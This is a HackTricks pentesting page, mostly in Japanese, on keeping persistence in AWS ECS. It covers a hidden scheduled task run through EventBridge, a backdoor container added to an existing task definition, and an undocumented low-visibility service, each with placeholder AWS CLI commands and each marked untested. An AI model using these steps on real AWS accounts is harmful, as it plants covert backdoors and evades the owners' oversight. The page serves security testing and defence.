AWS - ECS Persistence

HackTricksをサポートする

ECS

詳細については、次を確認してください:

隠れた定期的ECSタスク

TODO: テスト

攻撃者は、Amazon EventBridgeを使用して悪意のあるタスクの実行を定期的にスケジュールする隠れた定期的ECSタスクを作成することができます。このタスクは、偵察を行ったり、データを抽出したり、AWSアカウント内での持続性を維持したりすることができます。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

既存のECSタスク定義にバックドアコンテナを追加

TODO: テスト

攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に隠れたバックドアコンテナを追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用されます。

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

Undocumented ECS Service

TODO: Test

攻撃者は、悪意のあるタスクを実行する文書化されていないECSサービスを作成できます。タスクの希望数を最小に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
HackTricksをサポートする

Last updated